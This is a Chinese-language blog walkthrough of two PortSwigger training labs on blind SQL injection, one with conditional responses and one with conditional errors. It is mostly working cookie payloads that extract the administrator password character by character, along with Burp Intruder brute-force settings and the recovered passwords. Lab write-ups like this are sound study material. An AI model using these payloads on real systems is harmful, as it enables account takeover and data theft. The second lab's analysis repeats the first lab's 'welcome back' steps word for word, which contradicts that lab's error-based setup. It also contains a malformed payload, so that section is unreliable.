PortSwigger之SQL注入实验室笔记(二)

简介: PortSwigger之SQL注入实验室笔记

09 实验室带有条件响应的盲 SQL 注入没有解决

描述

本实验包含一个SQL 盲注漏洞。应用程序使用跟踪 cookie 进行分析,并执行包含提交的 cookie 值的 SQL 查询。

不返回 SQL 查询的结果,也不显示任何错误消息。但是,如果查询返回任何行,应用程序会在页面中包含“欢迎回来”消息。

数据库包含一个名为 的不同表users,其列名为username和password。您需要利用SQL盲注漏洞找出administrator用户的密码。

要解决实验室,请以administrator用户身份登录。

进入实验室

解决方案

  1. 访问店铺首页,使用Burp Suite拦截修改包含TrackingIdcookie的请求。为简单起见,假设 cookie 的原始值为TrackingId=xyz。
  2. 修改TrackingIdcookie,将其更改为:TrackingId=xyz' AND '1'='1。验证响应中是否显示“欢迎回来”消息。
  3. 现在将其更改为:TrackingId=xyz' AND '1'='2。验证“欢迎回来”消息没有出现在响应中。这演示了如何测试单个布尔条件并推断结果。
  4. 现在将其更改为:TrackingId=xyz' AND (SELECT 'a' FROM users LIMIT 1)='a。验证条件是否为真,确认有一个名为 的表users。
  5. 现在将其更改为:TrackingId=xyz' AND (SELECT 'a' FROM users WHERE username='administrator')='a。验证条件是否为真,确认存在名为 的用户administrator。
  6. 下一步是确定administrator用户的密码中有多少个字符。为此,请将值更改为:TrackingId=xyz' AND (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)>1)='a。此条件应为真,确认密码长度大于 1 个字符。
  7. 发送一系列后续值来测试不同的密码长度。发送:TrackingId=xyz' AND (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)>2)='a。然后发送:TrackingId=xyz' AND (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)>3)='a。等等。您可以使用Burp Repeater手动执行此操作,因为长度可能很短。当条件不再为真时(即当“欢迎回来”消息消失时),您就确定了密码的长度,实际上是 20 个字符长。
  8. 确定密码长度后,下一步是测试每个位置的字符以确定其值。这涉及大量请求,因此您需要使用Burp Intruder。使用上下文菜单将您正在处理的请求发送到 Burp Intruder。
  9. 在 Burp Intruder 的 Positions 选项卡中,通过单击“Clear §”按钮清除默认的有效载荷位置。
  10. 在 Positions 选项卡中,将 cookie 的值更改为:TrackingId=xyz' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='administrator')='a。这使用该SUBSTRING()函数从密码中提取单个字符,并针对特定值对其进行测试。我们的攻击将在每个位置和可能的值之间循环,依次测试每个位置。
  11. a在 cookie 值中 的最后一个字符周围放置负载位置标记。为此,只需选择a,然后单击“添加 §”按钮。然后,您应该看到以下 cookie 值(注意负载位置标记):TrackingId=xyz' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='administrator')='§a§
  12. 要在每个位置测试字符,您需要在您定义的负载位置发送合适的负载。您可以假设密码仅包含小写字母数字字符。转到 Payloads 选项卡,检查是否选择了“Simple list”,然后在“Payload Options”下添加 a - z 和 0 - 9 范围内的有效负载。您可以使用“从列表添加”下拉菜单轻松选择这些.
  13. 为了能够判断何时提交了正确的字符,您需要为“欢迎回来”表达的每个响应进行 grep。为此,请转到“选项”选项卡和“Grep - 匹配”部分。清除列表中的所有现有条目,然后添加值“欢迎回来”。
  14. 通过单击“开始攻击”按钮或从入侵者菜单中选择“开始攻击”来发起攻击。
  15. 查看攻击结果,找出第一个位置的字符值。您应该会在结果中看到一个名为“欢迎回来”的列。其中一行应在此列中打勾。该行显示的有效负载是第一个位置的字符值。
  16. 现在,您只需对密码中的每个其他字符位置重新运行攻击,以确定它们的值。为此,请返回 Burp 主窗口和 Burp Intruder 的 Positions 选项卡,并将指定的偏移量从 1 更改为 2。然后您应该会看到以下 cookie 值:TrackingId=xyz' AND (SELECT SUBSTRING(password,2,1) FROM users WHERE username='administrator')='a
  17. 启动修改后的攻击,查看结果,并注意第二个偏移处的字符。
  18. 继续此过程测试偏移量 3、4 等,直到您拥有完整的密码。
  19. 在您的浏览器中,单击“我的帐户”以打开登录页面。使用密码作为administrator用户登录。

在题目的描述中得知数据库对cookie 值进行 SQL 查询,当sql语句执行成功时,会显示Welcome back!欢迎回来

1 确认参数易受盲注SQL注入的影响

在测试基于盲注的SQL注入时要做的第一件事是找到一个真实用例,强制一个正确用例看应用程序如何响应,然后强制一个虚假用例并查看应用程序如何响应。如果应用程序根据真实用例和虚假用例做出不同响应,那么我们就可以使用基于盲注的SQL注入来推断数据库中的内容。所以我们要做的第一件事是确认参数易受盲注SQL注入的影响,在实验中的参数变量是TrackingId

设想我们的查询方式如下:

select tracking-id from tracking-table where TrackingId = 'qo8DsvAJFFnVcMed'

判断条件如下:

-->如果查询的TrackingId 值存在,则查询会返回一个值,然后我们会收到一条welcome back消息

-->但是如果查询的TrackingId 值不存在,则查询不返回所有,然后我们没有收到welcome back消息

dc2200cb382798ef8beb63106c731d0a_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

image-20210801113630688

在执行错误的时候不会显示

select tracking-id from tracking-table where TrackingId = 'qo8DsvAJFFnVcMed''

多一个单引号引发错误

905614981b7d953a8cc5b1c801159e6b_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

image-20210801113830531

select tracking-id from tracking-table where TrackingId = 'qo8DsvAJFFnVcMed' and '1'='1'

-->where子句的结果将会永远评估为真,将导致显示welcome back

' and '1'='1返回welcome back,说明SQL语句拼接成功执行

53367344356f637a011114d23f9c94a8_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

image-20210801152128666

select tracking-id from tracking-table where TrackingId = 'qo8DsvAJFFnVcMed' and '1'='2'

-->where子句的结果将会永远评估为假,导致整个查询返回为假,将导致不会显示welcome back

' and '1'='2不会返回welcome back,说明SQL语句拼接成功执行

52bfa149ff6f19594b6d03f3e83ee649_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

image-20210801152205866

2 确认用户表users存在

select tracking-id from tracking-table where TrackingId = 'qo8DsvAJFFnVcMed' and (select 'x' from users LIMIT 1)='x'--'

-->如果为真,返回welcome back,说明users表存在

--》否则,users表不存在

' and (select 'x' from users LIMIT 1)='x'--,返回了welcome back,说明users表存在

ca3ebac8a2a28e8aa3ddbc305cd09206_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

image-20210801152912341

3 确定用户名administrator字段值存在

select tracking-id from tracking-table where TrackingId = 'qo8DsvAJFFnVcMed' and (SELECT 'a' FROM users WHERE username='administrator')='a'--'

-->如果为真,返回welcome back,说明administrator的用户名存在

--》否则,administrator的用户名不存在

' and (SELECT 'a' FROM users WHERE username='administrator')='a'--,返回了welcome back,说明存在名为administrator的用户名存在

8dc4c3edf6922bc45fecd57f31c8e7ce_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

image-20210801153549743

4 确定administrator用户的密码中有多少个字符(长度)

select tracking-id from tracking-table where TrackingId = 'qo8DsvAJFFnVcMed' and (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)>1)='a'--'

-->如果为真,返回welcome back,确认密码长度大于 1 个字符。

--》否则,确认密码长度0个字符

' and (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)>1)='a'--,返回了welcome back,确认密码长度大于 1 个字符

0a8d4c3f830b7edceacb7e96c671f055_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

image-20210801154024172

发送一系列后续值来测试不同的密码长度。

发送:

' and (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)>10)='a'--,返回了welcome back,确认密码长度大于 1 0个字符。

然后发送:

' and (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)>20)='a'--,没有返回welcome back,确认密码长度在 1 0-20个字符之间。

0ef119251954142d1b3dd2e73658e726_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

image-20210801154300848

然后发送:

' and (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)>15)='a'--,返回welcome back,确认密码长度在 15-20个字符之间。

然后发送:

' and (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)>18)='a'--,返回welcome back,确认密码长度在 19-20个字符之间。

然后发送:

' and (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)>19)='a'--,返回welcome back,确认密码长度20个字符。

可以使用Burp Repeater手动执行此操作,因为长度可能很短。当条件不再为真时(即当“欢迎回来”消息消失时),您就确定了密码的长度,实际上是 20 个字符长,如果长度很长,可以使用Intruder功能进行遍历。

5 测试每个位置的字符以确定其值。


SUBSTRING(password,m,n)函数解释

password是字段名,m是检索的起始位,最左边从1开始,n是数量。

如果password='sjhfgjhsdf',那么SUBSTRING(password,1,1)就是's',SUBSTRING(password,2,1)就是'j'


这涉及大量请求,因此需要使用Burp Intruder。使用上下文菜单将您正在处理的请求发送到 Burp Intruder。

单个字符检测思路如下

测试密码第一位是否是字符a

select tracking-id from tracking-table where TrackingId = 'qo8DsvAJFFnVcMed' and (SELECT SUBSTRING(password,1,1) FROM users WHERE username='administrator')='a'--'

-->如果为真,返回welcome back,确认密码长度大于 1 个字符。

--》否则,确认密码长度0个字符

' and (SELECT SUBSTRING(password,1,1) FROM users WHERE username='administrator')='a'--,没有返回welcome back,确认密码第一个字符不是a

在 Burp Intruder 的 Positions 选项卡中,通过单击“Clear §”按钮清除默认的有效载荷位置。

a13a2bb5041e605087d97b1b81da6756_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

image-20210801155127701

对a值添加标记

f1d68510096af3dcd4c1157002ff58a6_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

image-20210801155237390

假设密码仅包含小写字母数字字符。转到 Payloads 选项卡,检查是否选择了“Simple list”,然后在“Payload Options”下添加 a - z 和 0 - 9 和A-Z范围内的有效负载。您可以使用“从列表添加”下拉菜单轻松选择这些.

e0c3acc6beee956ddbac59586f647d2f_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

image-20210801155735950

点击开始攻击

5b99cfda654380a932a769e7def04ea8_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

image-20210801155904456

为了能够判断何时提交了正确的字符,您需要为“欢迎回来”表达的每个响应进行 grep。为此,请转到“选项”选项卡和“Grep - 匹配”部分。清除列表中的所有现有条目,然后添加值“欢迎回来”。

1f24325181d10984f649cd24bac2d586_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

image-20210801160001853

得到第一个字符是1

c261f4e057ca56796fa92e0f50553c28_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

image-20210801160038969

6 现在,您只需对密码中的每个其他字符位置重新运行攻击,以确定它们的值。

为此,返回 Burp 主窗口和 Burp Intruder 的 Positions 选项卡,并将指定的偏移量从 1 更改为 2。然后您应该会看到以下 cookie 值:'+and+(SELECT+SUBSTRING(password,2,1)+FROM+users+WHERE+username%3d'administrator')%3d'a'--

得到第二位字符是m

12ea356688b094fd5066d07ef7a4c0df_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

image-20210801160535637

7 继续此过程测试偏移量 3、4 等,直到您拥有完整的密码

OR super 7 使用burpsuite的Cluster bomb爆破

将决定取字符位置的数据添加变量

00b94fbeb301fe0f1d8c62fd2051a13a_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

image-20210801161117845

攻击类型选择Cluster bomb

45be3f4c07a83062627d94e2bda7738d_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

image-20210801161151950

选择payloads,payload1设置为1-20

fc77d5494b06f098e73817f71b425bd4_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

image-20210801161233802

payload2设置为0-9和a-z和A-Z

19a889c735f13571cbc0f6dfb8c18aa4_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

image-20210801161321982

然后options中添加Grep-Match

c7a395c66398e8ce6429bdf7da3e0490_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

image-20210801161401912

开始攻击

a1d5ab4e8d9a1e8bf228283d93dd331e_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

image-20210801161459163

将结果整理得到密码

1mwa6880vdcepua8566j

8 在您的浏览器中,单击“我的帐户”以打开登录页面。使用密码作为administrator用户登录。

9aa7279fda1dd32d4caae5e737f05109_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

image-20210801161653485

10 带有条件错误的盲 SQL 注入

描述

本实验包含一个SQL 盲注漏洞。应用程序使用跟踪 cookie 进行分析,并执行包含提交的 cookie 值的 SQL 查询。

SQL 查询的结果不会返回,并且应用程序不会根据查询是否返回任何行而做出任何不同的响应。如果 SQL 查询导致错误,则应用程序返回自定义错误消息。

数据库包含一个名为 的不同表users,其列名为username和password。您需要利用SQL盲注漏洞找出administrator用户的密码。

要解决实验室,请以administrator用户身份登录。

解决方案

1.访问店铺首页,使用Burp Suite拦截修改包含TrackingId的cookie请求。

86267e1a135c523f1c16ef7b5f807682_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

image-20210801223206824

2.修改TrackingId,为其附加一个单引号:TrackingId=bhpYlLKIavhTKuTR'. 验证收到错误消息。

c74b0dfe77cc5960ec7628732f0229cf_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

image-20210801223258153

3.现在将其更改为两个引号:TrackingId=bhpYlLKIavhTKuTR''. 验证错误消失。这表明语法错误(在本例中为未关闭的引号)对响应具有可检测的影响。

20fcff780db292143008ae2d52a731c1_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

image-20210801223457901

4.您现在需要确认服务器将注入解释为 SQL 查询,即错误是 SQL 语法错误而不是任何其他类型的错误。为此,您首先需要使用有效的 SQL 语法构造一个子查询。尝试提交:TrackingId=bhpYlLKIavhTKuTR'||(SELECT+'')||'. 在这种情况下,请注意查询仍然无效。这可能是由于数据库类型 - 尝试在查询中指定一个可预测的表名:TrackingId=bhpYlLKIavhTKuTR'||(SELECT+''+FROM+dual)||'。由于您不再收到错误消息,这表明目标可能正在使用 Oracle 数据库,这需要所有SELECT语句显式指定表名

TrackingId=bhpYlLKIavhTKuTR'||(SELECT+'')||'

424240b9d9aa7d3133ac65f652c1022e_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

image-20210801223656385

TrackingId=bhpYlLKIavhTKuTR'||(SELECT+''+FROM+dual)||'

23cfb01b55b4e5c5ea96c1cfd28c89d9_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

image-20210801223837044

5.既然您已经制作了看似有效的查询,请尝试提交无效查询,同时仍保留有效的 SQL 语法。例如,尝试查询一个不存在的表名:TrackingId=bhpYlLKIavhTKuTR'||(SELECT+''+FROM+ch4nge)||'。这一次,返回一个错误。这种行为强烈表明您的注入正在被后端作为 SQL 查询处理。

db4270f1022b972de7f9f77ec42845a8_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

image-20210801223922336

6.只要确保始终注入语法上有效的 SQL 查询,就可以使用此错误响应来推断有关数据库的关键信息。例如,为了验证该users表是否存在,请发送以下查询:TrackingId=bhpYlLKIavhTKuTR'||(SELECT '' FROM users WHERE ROWNUM = 1)||'. 由于此查询未返回错误,因此您可以推断此表确实存在。请注意,WHERE ROWNUM = 1这里的条件很重要,以防止查询返回多于一行,这会破坏我们的串联。

f038903b5ef3c9784f90df191391b78e_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

image-20210801224142781

7.您还可以利用此行为来测试条件。首先,提交以下查询:TrackingId=bhpYlLKIavhTKuTR'||(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM dual)||'. 验证收到错误消息。

c07074da49707930ac7577beb9d8bd9e_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

image-20210801224509518

8.现在将其更改为:TrackingId=bhpYlLKIavhTKuTR'||(SELECT CASE WHEN (1=2) THEN TO_CHAR(1/0) ELSE '' END FROM dual)||'。验证错误是否消失。这表明您可以根据特定条件的真实性有条件地触发错误。该CASE语句测试一个条件,如果条件为真,则计算为一个表达式,如果条件为假,则计算为另一个表达式。前一个表达式包含被零除,这会导致错误。在这种情况下,两个有效负载测试条件1=1和1=2,当条件为true时接收到错误。

bdcaf614edb77625ef518b1360758b54_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

a

9.您可以使用此行为来测试表中是否存在特定条目。例如,使用以下查询来检查用户名是否administrator存在:TrackingId=bhpYlLKIavhTKuTR'||(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'。验证条件是否为真(接收到错误),确认存在名为 的用户administrator。

877947adbe4259068b6687e897dc7f43_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

image-20210801224930055

10.下一步是确定administrator用户的密码中有多少个字符。为此,请将值更改为:TrackingId=bhpYlLKIavhTKuTR'||(SELECT CASE WHEN LENGTH(password)>1 THEN to_char(1/0) ELSE '' END FROM users WHERE username='administrator')||'。此条件应为真,确认密码长度大于 1 个字符。

89c89060716d0557f4eeaed87ea7477e_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

image-20210801225039704

11.发送一系列后续值来测试不同的密码长度。发送:TrackingId=bhpYlLKIavhTKuTR'||(SELECT CASE WHEN LENGTH(password)>2 THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'。然后发送:TrackingId=bhpYlLKIavhTKuTR'||(SELECT CASE WHEN LENGTH(password)>3 THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'。等等。您可以使用Burp Repeater手动执行此操作,因为长度可能很短。当条件不再为真时(即当错误消失时),您就确定了密码的长度,实际上是 20 个字符长。

93528e5b6fd09d0c7d7fbb8b11e4f95c_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

image-20210801225121651

12.确定密码长度后,下一步是测试每个位置的字符以确定其值。这涉及大量请求,因此您需要使用Burp Intruder。使用上下文菜单将您正在处理的请求发送到 Burp Intruder。

13.在 Burp Intruder 的 Positions 选项卡中,通过单击“Clear §”按钮清除默认的有效载荷位置。

14.在 Positions 选项卡中,将 cookie 的值更改为:TrackingId=bhpYlLKIavhTKuTR'||(SELECT CASE WHEN SUBSTR(password,1,1)='a' THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'。这使用该SUBSTR()函数从密码中提取单个字符,并针对特定值对其进行测试。我们的攻击将在每个位置和可能的值之间循环,依次测试每个位置。

ea187da1aa26642b7ea6dc18062eb0e9_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

image-20210801225222938

15.使用Cluster bomb模式进行爆破

a在 cookie 值中 的最后一个字符周围放置负载位置标记。为此,只需选择a,然后单击“添加 §”按钮。然后,您应该看到以下 cookie 值(注意负载位置标记):TrackingId=bhpYlLKIavhTKuTR'||(SELECT CASE WHEN SUBSTR(password,§1§,1)='§a§' THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'

a46a3b78650072dd1ad4fc4b3bd2eed6_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

image-20210801225421216

16.要在每个位置测试字符,您需要在您定义的负载位置发送合适的负载。转到 Payloads 选项卡,payload1位置使用数字1-21,step为1,最小长度1,最大长度2;payload2位置选择“brute forcer”,然后把最小最大长度设置为1。您可以使用“从列表添加”下拉菜单轻松选择这些.

4bbe5ad1b6f05fcd91e248c8f183dc0e_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.pngimage-20210801230236364

15b4808d3f129dbbbdab6ccc65a42ac6_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

image-20210801225704001

17.通过单击“开始攻击”按钮或从入侵者菜单中选择“开始攻击”来发起攻击。

18.查看攻击结果,找出第一个位置的字符值。发生错误时,应用程序返回 HTTP 500 状态代码,正常情况下返回 HTTP 200 状态代码。Intruder 结果中的“Status”列显示了 HTTP 状态代码,因此您可以轻松找到该列中带有 500 的行。

1e4fdc2e2b3ae93d4906b51f9d08b7c1_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

image-20210801234926927

密码r0eao1nxo838s0hpw0q0

22.在您的浏览器中,单击“我的帐户”以打开登录页面。使用密码作为administrator用户登录。

525bfa1c89f057437039cb0eee07e92d_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

image-20210801235120268

根据实验描述可以知道该实验和上一个的差别在于判断条件从正确响应welcome back变成正确无不同响应,错误会看到错误

1 确认参数易受盲注SQL注入的影响

在测试基于盲注的SQL注入时要做的第一件事是找到一个真实用例,强制一个正确用例看应用程序如何响应,然后强制一个虚假用例并查看应用程序如何响应。如果应用程序根据真实用例和虚假用例做出不同响应,那么我们就可以使用基于盲注的SQL注入来推断数据库中的内容。所以我们要做的第一件事是确认参数易受盲注SQL注入的影响,在实验中的参数变量是TrackingId

设想我们的查询方式如下:

select tracking-id from tracking-table where TrackingId = 'JoLC8BabJWZtfvY0'

判断条件如下:

-->如果查询的TrackingId 值存在,则查询结果不会有什么特殊结果

-->但是如果查询的TrackingId 值不存在,则查询结果同样不会有什么特殊结果

-->但是如果我们输入的sql语句有错误,会响应500 Internal Server Error

dc2200cb382798ef8beb63106c731d0a_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

image-20210801113630688

在执行错误的时候不会显示

select tracking-id from tracking-table where TrackingId = 'qo8DsvAJFFnVcMed' and SELECT IF(1,(select 'x' from users LIMIT 1)='x','a')='a'--'

多一个单引号引发错误

905614981b7d953a8cc5b1c801159e6b_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

image-20210801113830531

select tracking-id from tracking-table where TrackingId = 'qo8DsvAJFFnVcMed' and '1'='1'

-->where子句的结果将会永远评估为真,将导致显示welcome back

' and '1'='1返回welcome back,说明SQL语句拼接成功执行

53367344356f637a011114d23f9c94a8_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

image-20210801152128666

select tracking-id from tracking-table where TrackingId = 'qo8DsvAJFFnVcMed' and '1'='2'

-->where子句的结果将会永远评估为假,导致整个查询返回为假,将导致不会显示welcome back

' and '1'='2不会返回welcome back,说明SQL语句拼接成功执行

52bfa149ff6f19594b6d03f3e83ee649_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

image-20210801152205866

2 确认用户表users存在

select tracking-id from tracking-table where TrackingId = 'qo8DsvAJFFnVcMed' and (select 'x' from users LIMIT 1)='x'--'

-->如果为真,返回welcome back,说明users表存在

--》否则,users表不存在

' and (select 'x' from users LIMIT 1)='x'--,返回了welcome back,说明users表存在

ca3ebac8a2a28e8aa3ddbc305cd09206_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

image-20210801152912341

3 确定用户名administrator字段值存在

select tracking-id from tracking-table where TrackingId = 'qo8DsvAJFFnVcMed' and (SELECT 'a' FROM users WHERE username='administrator')='a'--'

-->如果为真,返回welcome back,说明administrator的用户名存在

--》否则,administrator的用户名不存在

' and (SELECT 'a' FROM users WHERE username='administrator')='a'--,返回了welcome back,说明存在名为administrator的用户名存在

8dc4c3edf6922bc45fecd57f31c8e7ce_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

image-20210801153549743

4 确定administrator用户的密码中有多少个字符(长度)

select tracking-id from tracking-table where TrackingId = 'qo8DsvAJFFnVcMed' and (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)>1)='a'--'

-->如果为真,返回welcome back,确认密码长度大于 1 个字符。

--》否则,确认密码长度0个字符

' and (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)>1)='a'--,返回了welcome back,确认密码长度大于 1 个字符

0a8d4c3f830b7edceacb7e96c671f055_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

image-20210801154024172

发送一系列后续值来测试不同的密码长度。

发送:

' and (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)>10)='a'--,返回了welcome back,确认密码长度大于 1 0个字符。

然后发送:

' and (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)>20)='a'--,没有返回welcome back,确认密码长度在 1 0-20个字符之间。

0ef119251954142d1b3dd2e73658e726_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

image-20210801154300848

然后发送:

' and (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)>15)='a'--,返回welcome back,确认密码长度在 15-20个字符之间。

然后发送:

' and (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)>18)='a'--,返回welcome back,确认密码长度在 19-20个字符之间。

然后发送:

' and (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)>19)='a'--,返回welcome back,确认密码长度20个字符。

可以使用Burp Repeater手动执行此操作,因为长度可能很短。当条件不再为真时(即当“欢迎回来”消息消失时),您就确定了密码的长度,实际上是 20 个字符长,如果长度很长,可以使用Intruder功能进行遍历。

5 测试每个位置的字符以确定其值。


SUBSTRING(password,m,n)函数解释

password是字段名,m是检索的起始位,最左边从1开始,n是数量。

如果password='sjhfgjhsdf',那么SUBSTRING(password,1,1)就是's',SUBSTRING(password,2,1)就是'j'


这涉及大量请求,因此需要使用Burp Intruder。使用上下文菜单将您正在处理的请求发送到 Burp Intruder。

单个字符检测思路如下

测试密码第一位是否是字符a

select tracking-id from tracking-table where TrackingId = 'qo8DsvAJFFnVcMed' and (SELECT SUBSTRING(password,1,1) FROM users WHERE username='administrator')='a'--'

-->如果为真,返回welcome back,确认密码长度大于 1 个字符。

--》否则,确认密码长度0个字符

' and (SELECT SUBSTRING(password,1,1) FROM users WHERE username='administrator')='a'--,没有返回welcome back,确认密码第一个字符不是a

在 Burp Intruder 的 Positions 选项卡中,通过单击“Clear §”按钮清除默认的有效载荷位置。

a13a2bb5041e605087d97b1b81da6756_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

image-20210801155127701

对a值添加标记

f1d68510096af3dcd4c1157002ff58a6_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

image-20210801155237390

假设密码仅包含小写字母数字字符。转到 Payloads 选项卡,检查是否选择了“Simple list”,然后在“Payload Options”下添加 a - z 和 0 - 9 和A-Z范围内的有效负载。您可以使用“从列表添加”下拉菜单轻松选择这些.

e0c3acc6beee956ddbac59586f647d2f_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

image-20210801155735950

点击开始攻击

5b99cfda654380a932a769e7def04ea8_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

image-20210801155904456

为了能够判断何时提交了正确的字符,您需要为“欢迎回来”表达的每个响应进行 grep。为此,请转到“选项”选项卡和“Grep - 匹配”部分。清除列表中的所有现有条目,然后添加值“欢迎回来”。

1f24325181d10984f649cd24bac2d586_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

image-20210801160001853

得到第一个字符是1

c261f4e057ca56796fa92e0f50553c28_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

image-20210801160038969

6 现在,您只需对密码中的每个其他字符位置重新运行攻击,以确定它们的值。

为此,返回 Burp 主窗口和 Burp Intruder 的 Positions 选项卡,并将指定的偏移量从 1 更改为 2。然后您应该会看到以下 cookie 值:'+and+(SELECT+SUBSTRING(password,2,1)+FROM+users+WHERE+username%3d'administrator')%3d'a'--

得到第二位字符是m

12ea356688b094fd5066d07ef7a4c0df_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

image-20210801160535637

7 继续此过程测试偏移量 3、4 等,直到您拥有完整的密码

OR super 7 使用burpsuite的Cluster bomb爆破

将决定取字符位置的数据添加变量

00b94fbeb301fe0f1d8c62fd2051a13a_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

image-20210801161117845

攻击类型选择Cluster bomb

45be3f4c07a83062627d94e2bda7738d_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

image-20210801161151950

选择payloads,payload1设置为1-20

fc77d5494b06f098e73817f71b425bd4_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

image-20210801161233802

payload2设置为0-9和a-z和A-Z

19a889c735f13571cbc0f6dfb8c18aa4_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

image-20210801161321982

然后options中添加Grep-Match

c7a395c66398e8ce6429bdf7da3e0490_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

image-20210801161401912

开始攻击

a1d5ab4e8d9a1e8bf228283d93dd331e_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

image-20210801161459163

将结果整理得到密码

1mwa6880vdcepua8566j

8 在您的浏览器中,单击“我的帐户”以打开登录页面。使用密码作为administrator用户登录。

9aa7279fda1dd32d4caae5e737f05109_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

image-20210801161653485

相关文章
|
1天前
|
SQL 存储 Java
如何避免SQL注入?
【4月更文挑战第30天】如何避免SQL注入?
6 0
|
2天前
|
SQL 安全 PHP
【PHP 开发专栏】PHP 防止 SQL 注入的方
【4月更文挑战第30天】本文介绍了PHP防止SQL注入的策略,包括理解SQL注入的原理和危害,如数据泄露和系统控制。推荐使用参数化查询(如PDO扩展)、过滤和验证用户输入,以及选择安全的框架和库(如Laravel)。此外,强调了保持警惕、定期更新维护和开发人员安全培训的重要性,以确保应用安全。
|
2天前
|
SQL 存储 安全
|
2天前
|
SQL Oracle 关系型数据库
常见 SQL 注入绕过方法
常见 SQL 注入绕过方法
|
2天前
|
SQL Oracle 关系型数据库
